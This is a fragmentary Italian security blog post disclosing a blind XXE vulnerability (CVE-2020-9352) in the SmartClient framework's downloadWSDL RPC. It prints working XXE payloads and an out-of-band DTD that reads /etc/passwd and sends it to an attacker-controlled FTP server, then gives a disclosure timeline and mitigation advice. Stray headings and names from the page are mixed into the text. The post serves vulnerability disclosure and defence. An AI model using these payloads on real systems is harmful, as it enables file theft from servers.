Weak password or weak hash function
A new tragedy
Dario Ragno
/IDACall
e /tools/developerConsoleOperations.jsp
. Per semplicità l'analisi si è focalizzata su questi percorsi poichè implementano le RPC sopra descritte e sono disponibili nella versione open source, in modo da non doversi creare un'applicazione ad-hoc.BuiltinRPC
esiste la chiamata RPC downloadWSDL. WSDL è l'acronimo per Web Services Description Language ed è utilizzato per la descrizione dei web services SOAP in formato XML. La RPC permette di specificare un link ad una risorsa XML contenente una descrizione WSDL. Successivamente, viene analizzato il contenuto della risorsa recuperata ma, siccome la funzionalità implementata da SmartClient permette anche l'utilizzo delle entity XML, un attaccante potrebbe sfruttarla per effettuare data exfiltration oppure per causare un DoS ad esempio attraverso il billion laughs attack o XML bomb./tools/developerConsoleOperations.jsp
che, tra le RPC utilizzate dalla JSP, sfrutta la vulnerabile downloadWSDL
. La richiesta POST ha, tra i vari parametri, il parametro _transaction
che contiene, in formato XML, i dati necessari per effettuare la Remote Procedure Call. I tag principali sono:
methodName
dove viene specificato il metodo RPC da usarearguments
che contiene i parametri necessari alla RPCdownloadWSDL
, sono necessari due parametri di cui uno è esattamente un link alla risorsa XML.
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://xxe.o3s49cu4n4v9cv2hojwegw8snjt9hy.burpcollaborator.net/x"> %ext;
]>
<r></r>
è poi stata effettuata la chiamata RPC inserendo il link alla risorsa vulnerabile:
e bingo! Il collaborator si è illuminato, confermandoci quindi la presenza dell'XXE nella chiamata RPC downloadWSDL
come dimostra lo screenshot che segue:
L'unico "problema" è che risulta essere blind, ossia non c'è output nella risposta che si ottiene dal web server.
<?xml version="1.0" ?>
<!DOCTYPE a [<!ENTITY % asd SYSTEM "http://192.168.1.160:8000/xxe.dtd">%asd;%c;]>
<a>&xxe;</a>
Speficando quindi come URL un indirizzo controllabile dall'attaccante al quale verrà fornito un file DTD. In questo modo il parser XML interpreta il contenuto del file DTD. Il contenuto di quest'ultimo è il seguente:
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY xxe SYSTEM 'ftp://192.168.1.160/%d;'>">
Con la prima riga si ottiene il contenuto del file /etc/passwd
e lo si salva nella variabile d
. Con la seconda riga si esegue una chiamata verso un server FTP, sotto il nostro controllo, inserendo nell'URL il contenuto della variabile d
che contiene il file che si vuole esfiltrare. Il risultato è il seguente:
Come è possible notare, sul nostro server di test, su cui abbiamo installato SmartClient, è presente l'utente root
con uid 0
, gid 0
, home directory /root
e come shell /bin
. Volendo fare una dimostrazione, nella nostra configurazione non è stato possibile ottenere tutto il contenuto del file /etc/passwd
dovuto alla chiusura della comunicazione dopo il primo carattere di ritorno a capo (\n
) ma è sufficiente usare una tecnica diversa oppure fare qualche operazione in più per rimuoverlo o codificarlo in modo diverso.
Data | Cosa |
---|---|
29 ottobre 2019 | La vulnerabilità è stata scoperta e segnalata al team di Isomorphic. Nessuna risposta. |
05 novembre 2019 | La vulnerabilità è stata nuovamente segnalata al team di Isomorphic. Nessuna risposta. |
18 febbraio 2020 | Dopo più di 90 giorni di attesa, la vulnerabilità è stata divulgata su SecLists.org. |
23 febbraio 2020 | Il MITRE ci assegna il CVE 2020-9352. |
24 febbraio 2020 | Il NIST calcola uno score CVSS di 9.8 (critical). |
Questo post mostra come è possibile ottenere una data exfiltration da una vulnerabilità di XML External Entity o XXE in situazioni in cui non è disponibile nessun output dalla risposta del web server (blind XXE). Alla pubblicazione di questo articolo non è stata ancora fornita una patch per la vulnerabilità. Se si sta utilizzando il framework SmartClient, il nostro consiglio è di verificare che tra le RPC utilizzate non ci siano anche quelle vulnerabili e, nel caso, disabilitarle.
Gemma Contini
Daniele Scanu
Fabio Carretto
Certimeter Group crede nei valori, nella passione e nella professionalità delle persone.